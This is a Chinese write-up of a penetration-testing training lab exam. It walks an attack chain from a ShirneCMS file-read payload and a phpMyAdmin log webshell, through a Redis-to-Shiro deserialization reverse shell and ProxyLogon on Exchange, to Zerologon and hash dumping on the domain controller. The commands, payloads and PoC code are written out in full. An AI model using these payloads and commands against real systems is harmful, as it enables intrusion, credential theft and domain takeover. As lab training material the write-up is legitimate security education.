暗月渗透测试五月份考核文章第一篇

admin 2023年6月2日13:55:02评论99 views字数 7399阅读24分39秒阅读模式


介绍

本次sunday靶场通关视频 已经制作成培训课程。

5.20 还有活动价

如需学习可参与 暗月的渗透测试培训 

扫一扫 添加好友咨询学习

暗月渗透测试五月份考核文章第一篇


涉及考点

这次考核的内容涉及到 php代码审计和java代码审计。

内网比较简单,只要进入域内 拿到域控问题都不大。 

找到WEB入口点 进入内网 再进行渗透就很容易获取域控的权限了。

拓扑图


暗月渗透测试五月份考核文章第一篇

考核情况

本次参与的人数共100人  成功通过的人数是6人  虽然通过率不高 但是对此还是比较满意。

以下是通过考核同学的一篇都是干货。

1. 信息收集


80端口

源码地址:
gitee:https://gitee.com/shirnecn/ShirneCMS
github:https://github.com/shirne/ShirneCMS
已知漏洞:https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue

组件信息:thinkphp、apache

服务器:linux(通过服务器是否对URL的大小写是否敏感来判断)

目录扫描:
phpmyadmin:phpmyadmin登陆页面
static:css、js、编辑器等文件
后台地址:index.php/admin


8080端口


源码地址:https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial

组件信息:spring-boot、shiro、redis、tomcat

目录扫描:
manager:tomcat管理页面


2. 获取 web主机shell


web主机内网地址为:192.168.10.174。

靶场临时关闭了,所以用本地环境测试,靶场打法与本地打法一致。直接重复操作即可。

ShirneCMS有一个[已知漏洞](shirne-1.2.0 exist path traversal bug · Issue #I5JRHJ · 语辰软件/ShirneCMS - Gitee.com),直接用已知漏洞的payload的测试。

payload:http://localhost/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=config.json&maxwidth=-1&referer=test


返回结果如下图,说明能够读取到文件,不显示文件内容,可能是文件处于base64编码状态,那么可以使用 burpsuite 抓取原始返回数据,然后将返回数据进行base64解码

暗月渗透测试五月份考核文章第一篇

原始数据如下图,应该是base64 数据后面的png导致文件无法显示

暗月渗透测试五月份考核文章第一篇

尝试将数据进行base64 解码,解码失败,可能是多次 base64 解码的结果,那么简化下payload,在读取文件

暗月渗透测试五月份考核文章第一篇

将上面的数据进行base64 解码,解码成功,可以查看到原始文件内容

暗月渗透测试五月份考核文章第一篇

重复上面方法可以读取 database.config 的内容,获取数据库的账号密码;

payload:http://192.168.18.5/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=../../../../config/database.php&maxwidth=-1&referer=test

将数据解码 得到了数据库的配置信息:用户名 root 、密码vVICDU1Erw、数据库名cms

事后分析图片传输流程如下:

服务器端图片经过base64编码 》 网络传输 》 浏览器还原图片。那么当我们读取文件时,文件被base64编码了,但是base64编码后面的=png表明了数据类型为图片,所以导致浏览器无法还原文件内容,想要读取原始文件内容就要舍弃=png,然后在进行base64解码。

尝试用数据库的密码登录 phpmyadmin,登录页成功了,那么可以尝试写shell,添加后台账号密码。管理员的表名为 sa_manger,直接将本地测试环境中的 key 和 salt 填进去即可。尝试通过phpmyadmin写shell 时,发现只能写到/tmp目录下。登录后台查找能够包含 phpmyadmin日志的模板。结果发现独立模板的分类别名其实是模板路径。

暗月渗透测试五月份考核文章第一篇

经过测试独立模板的默认名称为 view.tpl,可以利用 phpmyadmin 写全局日志到 /tmp 目录下,文件名称为 view.tpl。写shell的sql 命令如下。

# 1.查看当前日志记录的设置
SHOW VARIABLES LIKE 'general%';

# 2. 开启日志记录
set global general_log = "ON";

# 3. 更改日志记录的位置
set global general_log_file='/tmp/view.tpl'

# 4. 向日志内下入 一句话木马
select '<?php phpinfo();?>';


在后台上找上面图片内的方法编辑模板,然后添加文章将 phpmyadmin 日志包含进去。

暗月渗透测试五月份考核文章第一篇

点击添加的文章看看效果,包含成功了。

暗月渗透测试五月份考核文章第一篇

按照上面的操作方法写入一句话。然后用蚁剑连接测试。连接成功,接下来就可以上线msf了。如果不能执行命令,linux环境下的蚁剑插件可以绕过 diable_function.

暗月渗透测试五月份考核文章第一篇


3. 获取web123的shell


3.1 信息收集

使用fscan 扫描,扫描结果如下,扫描到redis的弱密码。

(icmp) Target 192.168.10.175  is alive
[*] Icmp alive hosts len is: 1
192.168.10.175:80 open
192.168.10.175:22 open
192.168.10.175:8080 open
192.168.10.175:6379 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://192.168.10.175 code:200 len:0 title:None
[*] WebTitle: http://192.168.10.175:8080 code:200 len:461 title:None
[+] Redis:192.168.10.175:6379 abc123 file:/var/lib/redis/dump.rdb
[+] Redis:192.168.10.175:6379 like can write /var/spool/cron/


在网上找到两篇参考文章:

第一篇:redis未授权到shiro反序列化 - 先知社区

第二瓶:redis未授权到shiro反序列化之session回显马|NOSEC安全讯息平台 - 白帽汇安全研究院

3.2 获取web123的shell

这里用第一篇文章的方法,先安装安装 pyyso 模块,模块下载地址:https://github.com/cokeBeer/pyyso

然后将第一篇文章里面的 POC 改造下,改造结果如下。(其实菜鸟也想搞回显码)

import pyyso
import redis


redis_conn=redis.StrictRedis(host='192.168.10.175', port=6379,password="abc123")

# whatever 是 session 名称
whatever=b"seemoontest"
key=b"shiro:session:"+whatever

# 这列是调用上面安装的模块生成序列化的码
value=pyyso.cb1v192("bash -c {echo,A+JiAvZGV2L3RjcC80ME1Mi85+JjE=}|{base64,-d}|{bash,-i}")
redis_conn.set(key,value)

print("end....")


注意:在java反序列化中用 bash  反弹shell,要将命令进行 base64编码,具体原因参考java中runtime.exec无法反弹bash shell的原因及解决办法

测试下POC效果

暗月渗透测试五月份考核文章第一篇

写入成功了。

暗月渗透测试五月份考核文章第一篇

先使用 nc 开启监听,命令 nc -lvnp <端口号>

登录网页,然后用'burp suite' 抓包,修改cookie并发送

暗月渗透测试五月份考核文章第一篇

查看 nc 是否接收到反弹的shell,这里接收到了

暗月渗透测试五月份考核文章第一篇

上线msf过程不再演示

4. 获取PC1的shell


4.1  信息收集


fscan扫描只有 22 端口,想要获取shell只能通过 ssh 了。

在主机 web123 的 /home/weeb/.ssh 目录下发现 id_asa 文件。

使用  putty Key Generator 查看一下,发现是在 PC1上使用root用户创建的,

暗月渗透测试五月份考核文章第一篇

注意:高版本的 OPENSSL 在不指定格式时,生成的密匙对是 OPENSSH 格式的,而且密匙文件中会附带生成密匙文件的主机名和用户名,并不能说明密匙一定能用。


putty Key Generator还可以将 OPENSSH转换为 RSA 格式。


下面时我在 kali 中生成的 RSA 密匙,其中附带了 主机名和用户名。如果把公钥写到A主机的TEST用户的 .ssh目录下,那么对应的私钥登录 A主机 账户名就是 TEST

暗月渗透测试五月份考核文章第一篇

4.2 获取PC1的shell

将 id_rsa 下载到本地,然后使用 id_rsa 登录PC1。

注意点:

  1. 使用 命令行的 SSH 登录,一定要更改 id_rsade 的权限为600,不然会报错。

  1. 如果将 id_rsa 放到了 /home/<用户名>/.ssh 目录下,那么可以直接使用 ssh <用户名>@<IP> 的方式登录。

  2. 如果不想放到 /home/<用户名>/.ssh  目录下,把么更改权限后,可以使用 ssh -i <id_rsa文件名> <用户名>@<IP>的方式登录。

    这里登录成功了,上线msf过程不在演示。

    暗月渗透测试五月份考核文章第一篇

    5. 获取exchange的shell

    5.1 信息收集

    fscan扫描结果

    (icmp) Target 10.10.10.137    is alive
    [*] Icmp alive hosts len is: 1
    10.10.10.137:445 open
    10.10.10.137:139 open
    10.10.10.137:135 open
    10.10.10.137:81 open
    10.10.10.137:80 open
    10.10.10.137:8172 open
    10.10.10.137:808 open
    10.10.10.137:443 open
    [*] alive ports len is: 8
    start vulscan
    [*] NetInfo:
    [*]10.10.10.137
    [->]exchange
    [->]10.10.10.137
    [*] NetBios: 10.10.10.137 exchange.sunday.club Windows Server 2012 R2 Standard 9600
    [*] WebTitle: http://10.10.10.137 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
    [*] WebTitle: https://10.10.10.137 code:301 len:0 title:None 跳转url: https://10.10.10.137/owa/
    [*] WebTitle: http://10.10.10.137:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
    [*] WebTitle: https://10.10.10.137:8172 code:404 len:0 title:None

    通过浏览器查看 exchange 的443 端口,然后浏览网页源码获取到了 exchange 的发行时间。

    暗月渗透测试五月份考核文章第一篇

    通过微软官网的对照表确定 exchang 的版本为  Exchange Server 2013 CU10。

    对照表地址:Exchange Server 内部版本号和发行日期 | Microsoft Learn

    暗月渗透测试五月份考核文章第一篇

    在网上搜索发现改编版本存在 CVE-2021–26855 漏洞。

    5.2 获取exchange的shell

    测试了很多款EXP,终于找到了一个好用的。打到这里 OPENSSL 的报错问题耽误了很长时间,换了三个版本的 kali 才搞定,又排错很久才搞定。

    工具地址:GitHub - herwonowr/exprolog: ProxyLogon Full Exploit Chain PoC (CVE-2021–26855, CVE-2021–26857, CVE-2021–26858, CVE-2021–27065)

    如果使用这个工具出现报错,可以卸载 urllib3 库 ,更新requests后继续尝试。我这里时这么解决的。

    工具的简略利用过程:

    proxychains4 python exprolog.py -t 10.10.10.137 -e [email protected]

    暗月渗透测试五月份考核文章第一篇

    暗月渗透测试五月份考核文章第一篇

    利用工具给出的URL来执行命令。

    proxychains4 curl --request POST --url https://10.10.10.137/owa/auth/gk4l8.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k


    暗月渗透测试五月份考核文章第一篇

    由于时间有限,就不上线 msf。


    6. 获取AD的shell


    6.1 信息收集


    fscan扫描结果

    (icmp) Target 10.10.10.133    is alive
    [*] Icmp alive hosts len is: 1
    10.10.10.133:88 open
    10.10.10.133:135 open
    10.10.10.133:445 open
    10.10.10.133:139 open
    [*] alive ports len is: 4
    start vulscan
    [*] NetInfo:
    [*]10.10.10.133
    [->]ad2012
    [->]10.10.10.133
    [*] 10.10.10.133 (Windows Server 2012 R2 Standard 9600)


    6.2 获取 AD2012的shell


    使用 CVE-2021-1472 的 EXP 。CVE-2021-1472的EXP 网上很多,很好找。


    漏洞利用过程如下:


    1. 重置 hash 为空

    proxychains4 python cve-2020-1472-exploit.py ad2012 10.10.10.133

    暗月渗透测试五月份考核文章第一篇

    1. 利用 kali 自带的 impacket 模块来导出 hash 。

    roxychains4 impacket-secretsdump sunday.club/[email protected] -no-pass

    暗月渗透测试五月份考核文章第一篇

    1. 使用 impacket 工具包的 psexec 登录,

    proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/[email protected]

    暗月渗透测试五月份考核文章第一篇

    先关闭防火墙,然后使用 msf 的 exploit/windows/smb/psexec模块可以上线msf,

    或者使用ipmacket-psexec  的 -file 选项来上传并运行后门。具体上线msf过程省略。

    上完成后别忘了恢复密码,恢复密码示例:

    1. 导出相关注册表

    shell > reg save HKLMSYSTEM system.save          #导出注册表
    shell > reg save HKLMSAM sam.save #导出注册表
    shell > reg save HKLMSECURITY security.save #导出注册表

    meterpreter > download system.save #下载至本地
    meterpreter > download sam.save #下载至本地
    meterpreter > download security.save #下载至本地

    shell > del /f system.save #远程删除导出的注册表文件
    shell > del /f sam.save #远程删除导出的注册表文件
    shell > del /f security.save exit #远程删除导出的注册表文件
    1. 获取原来的 hash

    impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

    暗月渗透测试五月份考核文章第一篇

    1. 还原域控的hash

    python restorepassword.py whoamianony/dc@dc -target-ip 192.168.93.30 -hexpass 90272af666c9678353cd26510cd8970c52aefe22cd45f53bc2dfdc96b8029ea3a0472869f0d4dd8ce95807c4c095845fca4b06b27f11fb8936379b03b3d8bc65ad3a39b6fb0fd4eb4ea81bd1039b564746b3c55f8e5348d1dcef7b23b323d24325819d0ff5d9521bcfa0e3f4cba55076d08495ba5672ac3950a73666b52fe6102ded4dd7db515d9e634d2cf212163a9a0fada937d1e4895059e2521571d8799d0d90329bedbe7a311e3cfa94ef9a6034c2cd251555d327490df360d4498cba3cfebd97d1e1bd35000a48c7a61c62a91112c4707387ef1c9e48e1dd7920fb921d683dd79bb51a2bbd62956e4b72160b60

    暗月渗透测试五月份考核文章第一篇

    公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

    觉得文章对你有帮助 请转发 点赞 收藏

    暗月渗透测试五月份考核文章第一篇



    原文始发于微信公众号(moonsec):暗月渗透测试五月份考核文章第一篇

    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2023年6月2日13:55:02
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     暗月渗透测试五月份考核文章第一篇https://cn-sec.com/archives/1751130.html

    发表评论

    匿名网友 填写信息